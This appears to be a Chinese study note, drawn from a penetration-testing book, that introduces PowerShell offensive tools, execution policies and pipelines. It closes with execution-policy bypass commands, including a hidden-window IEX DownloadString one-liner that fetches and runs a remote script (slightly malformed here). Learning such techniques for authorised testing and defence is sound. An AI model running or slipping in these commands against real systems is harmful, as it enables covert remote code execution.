PowerShell简介 及 渗透工具
程序员文章站
2024-03-15 19:59:42
...
0X00 内容
- 常见的PowerShell渗透工具
- PowerShell简介
0X01 常见的PowerShell渗透工具
- PowerSplit:这是众多PowerShell工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
- Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
- Empire:基于PowerShell的远程控制工具,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭证窃取、持久化控制。
- PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用。
0X02 PowerShell简介
1、PowerShell的优点:
- Windows7以上的操作系统默认安装
- PowerShell脚本可以运行在内存中,不需要写入磁盘
- 可以从另一个系统中下载PowerShell脚本并执行
- 目前很多工具都是基于PowerShell开发的
- 很多安全软件并不能检测到PowerShell的活动
- cmd.exe通常会被阻止运行,但是PowerShell不会
- 可以用来管理活动目录
2、输入Get-Host或$PSVersionTable.PSVERSION命令查看PowerShell版本
3、PowerShell的基本概念
- PS1文件:一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的拓展名
- 执行策略:为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限
- 在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行的执行策略
- Get-ExecutionPolicy
- Restricted:脚本不能运行(默认设置)
- RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
- AllSigned:仅当脚本由受信任的发布者签名时才能运行
- Unrestricted:允许所有的脚本运行。
此时,执行ps1脚本是这样的
可以使用下面的cmdlet命令设置PowerShell的执行策略,需要管理员权限
Set-ExecutionPolicy <policy name>
- 管道
- 管道的作用:是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
- 如:停止所有当前运行的、以“P”字符开头命名的程序,命令如下
get-process P* | stop-process
- 在PowerShell下,类似“cmd命令”叫作“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式。PowerShell命令不区分大小写。
- 在渗透时,可以采用以下方法来绕过策略来执行脚本
//绕过本地权限执行
PowerShell.exe -ExecutionPolicy Bypass -File XXX.ps1
//本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File XXX.ps1
//用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile IEX(New-Object.WebClient).DownloadString("XXX.ps1");[Parameters]
根据《Web安全攻防——渗透测试实战指南》第6章整理 是该书的2018年7月第1版